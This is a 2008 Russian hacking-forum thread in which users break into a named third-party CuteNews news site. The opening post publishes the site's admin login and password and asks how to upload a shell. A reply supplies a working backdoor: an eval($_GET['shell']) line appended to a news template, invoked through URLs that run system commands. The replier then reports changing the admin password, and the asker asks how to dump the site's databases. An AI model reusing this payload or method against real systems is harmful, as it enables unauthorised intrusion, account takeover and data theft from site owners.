ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Shell CuteNews 1.4.5 Help!
   
Ответ
Страница 1 из 3 1 2 3 >
 
Опции темы Поиск в этой теме Опции просмотра

Shell CuteNews 1.4.5 Help!
  #1  
Старый 10.09.2008, 15:30
Аватар для myrz
myrz
Новичок
Регистрация: 22.06.2008
Сообщений: 13
Провел на форуме:
138385

Репутация: 1
Отправить сообщение для myrz с помощью ICQ
Question Shell CuteNews 1.4.5 Help!
Всем привет!
Вобщем возник вопрос как залить шелл в известный блог новостей (CuteNews) имея данные администратора.
Прочитал много мануалов и эфект нулейвой может ктонить сможет если сможете можете описать как сделали это буду очень признателен
Вот куда я хочу залить шелл.
_ttp://la2.no-ip.org/news/
Login: dsl
Password: 79513159

Заранее спасибо.
 
Ответить с цитированием

  #2  
Старый 10.09.2008, 15:32
Аватар для Astn
Astn
Новичок
Регистрация: 24.06.2008
Сообщений: 12
Провел на форуме:
92361

Репутация: 3
По умолчанию
Оо у мня такаяже прабла немогу понять что нетак делаю. подскажите плиз.
 
Ответить с цитированием

  #3  
Старый 10.09.2008, 15:48
Аватар для aka PSIH
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию
скока писали уже про это...

1. Настройкa блока новостей -> Редактировать шаблоны
Добавляем в конец
Цитата:
HTML;
if(isset($_GET['shell'])) eval($_GET['shell']);
сохраняем
2.
_http://la2.no-ip.org/news/show_news.php?shell=phpinfo();
_http://la2.no-ip.org/news/show_news.php?shell=system(dir);

p.s: там Windows...
Последний раз редактировалось aka PSIH; 10.09.2008 в 16:16..
 
Ответить с цитированием

  #4  
Старый 10.09.2008, 15:59
Аватар для myrz
myrz
Новичок
Регистрация: 22.06.2008
Сообщений: 13
Провел на форуме:
138385

Репутация: 1
Отправить сообщение для myrz с помощью ICQ
По умолчанию
Дело в том что я делаю так.
Настройкa блока новостей ->>> Редактировать шаблоны И вижу там


Редактируйте Части Шаблона

Активные новости
Полная версия
Комментарии
Форма добавления комментариев
Предыдущая & Следующая(новости)
Предыдущая & Следующая(коментарий)

Жму Активные новости

Там открывается окошко с следущим содержанием

Цитата:
<div style="width:100%; margin-bottom:30px;">
<div><strong>{title}</strong></div>

<div style="text-align:justify; padding:3px; margin-top:3px; margin-bottom:5px; border-top:1px solid #D3D3D3;">{short-story}</div>


</div>
Я дописываю
Цитата:
HTML; if(isset($_GET['shell'])) eval($_GET['shell']);
Получается так

Цитата:
<div style="width:100%; margin-bottom:30px;">
<div><strong>{title}</strong></div>

<div style="text-align:justify; padding:3px; margin-top:3px; margin-bottom:5px; border-top:1px solid #D3D3D3;">{short-story}</div>


</div>
HTML; if(isset($_GET['shell'])) eval($_GET['shell']);
Потом захожу из этих сылоку куданить

Цитата:
_http://la2.no-ip.org/news/show_news.php?shell=phpinfo();
_http://la2.no-ip.org/news/show_news.php?shell=system(dir);
Мне выдаёт ошибку мол

Цитата:
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in F:\site\www\news\data\Default.tpl on line 11
Что делать ваще незнаю
 
Ответить с цитированием

  #5  
Старый 10.09.2008, 16:02
Аватар для myrz
myrz
Новичок
Регистрация: 22.06.2008
Сообщений: 13
Провел на форуме:
138385

Репутация: 1
Отправить сообщение для myrz с помощью ICQ
По умолчанию
Сайт работает и я чуствую что он даже меня переживёт (((
 
Ответить с цитированием

  #6  
Старый 10.09.2008, 16:04
Аватар для myrz
myrz
Новичок
Регистрация: 22.06.2008
Сообщений: 13
Провел на форуме:
138385

Репутация: 1
Отправить сообщение для myrz с помощью ICQ
По умолчанию
ППЦ уже кто-то залез в админку и щас даже шаблон не отредактировать (((
 
Ответить с цитированием

  #7  
Старый 10.09.2008, 16:04
Аватар для Rebz
Rebz
Super Moderator
Регистрация: 08.11.2004
Сообщений: 3,395
Провел на форуме:
13166814

Репутация: 3876


По умолчанию
А ты смельчак выкладывать логин и пароль в открытый доступ..
 
Ответить с цитированием

  #8  
Старый 10.09.2008, 16:04
Аватар для myrz
myrz
Новичок
Регистрация: 22.06.2008
Сообщений: 13
Провел на форуме:
138385

Репутация: 1
Отправить сообщение для myrz с помощью ICQ
По умолчанию
Это не мой ))
 
Ответить с цитированием

  #9  
Старый 10.09.2008, 16:09
Аватар для aka PSIH
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию
http://la2.no-ip.org/news/show_news.php?shell=phpinfo();
http://la2.no-ip.org/news/show_news.php?shell=system(dir);

все работает, пароль от админки я сменил, и т.к ты уже стучишся в аську ), я его тебе туда отправил...
 
Ответить с цитированием

  #10  
Старый 10.09.2008, 16:20
Аватар для myrz
myrz
Новичок
Регистрация: 22.06.2008
Сообщений: 13
Провел на форуме:
138385

Репутация: 1
Отправить сообщение для myrz с помощью ICQ
По умолчанию
М возник еще вопрос.
Дело в том что мне надо слить их базы.
Даныые базы хронятся тут
Цитата:
http://la2.no-ip.org/config/config.php
Как организовать это скажите плиз.
 
Ответить с цитированием
Ответ
Страница 1 из 3 1 2 3 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
webshell scripts -) blackybr PHP, PERL, MySQL, JavaScript 20 28.03.2010 02:17
CuteNews 1.4.5 help 6u4yxa Уязвимости 24 27.09.2009 17:46
CuteNews 1.4.5 myrz Уязвимости 5 16.09.2008 19:36



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ